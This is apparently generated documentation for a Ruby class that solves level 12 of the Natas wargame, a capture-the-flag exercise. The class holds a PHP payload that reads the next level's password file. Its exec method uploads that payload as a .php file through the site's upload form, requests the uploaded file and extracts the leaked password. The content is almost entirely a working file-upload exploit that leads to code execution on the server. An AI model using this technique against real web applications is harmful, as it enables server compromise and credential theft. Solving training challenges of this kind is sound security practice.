Class: NatasLevel12
- Inherits:
-
NatasLevelBase
- Object
- NatasLevelBase
- NatasLevel12
- Defined in:
- lib/natas.rb
Overview
Level 12
Constant Summary collapse
- LEVEL =
12
- PAGE =
'/'
- PAYLOAD =
%(<? echo(file_get_contents('#{WEBPASS}/natas13')); ?>)
Constants inherited from NatasLevelBase
NatasLevelBase::HOST, NatasLevelBase::LOGIN, NatasLevelBase::PASSWORD_LENGTH, NatasLevelBase::PORT, NatasLevelBase::WEBPASS
Instance Attribute Summary
Attributes inherited from NatasLevelBase
Instance Method Summary collapse
Methods inherited from NatasLevelBase
#get, #initialize, #level, #post
Constructor Details
This class inherits a constructor from NatasLevelBase
Instance Method Details
#exec ⇒ Object
403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 |
# File 'lib/natas.rb', line 403 def exec data = [ ['filename', 'file.php'], ['uploadedfile', PAYLOAD, { filename: 'uploadedfile' }] ] log('Uploading file') data = post(PAGE, {}, data, multipart: true).body match = %r{The file <a href="(upload/\w+.php)">}.match(data) not_found unless match file = "/#{match[1]}" log("Getting file #{file}") data = get(file).body match = /(\w{32})/.match(data) not_found unless match found(match[1]) end |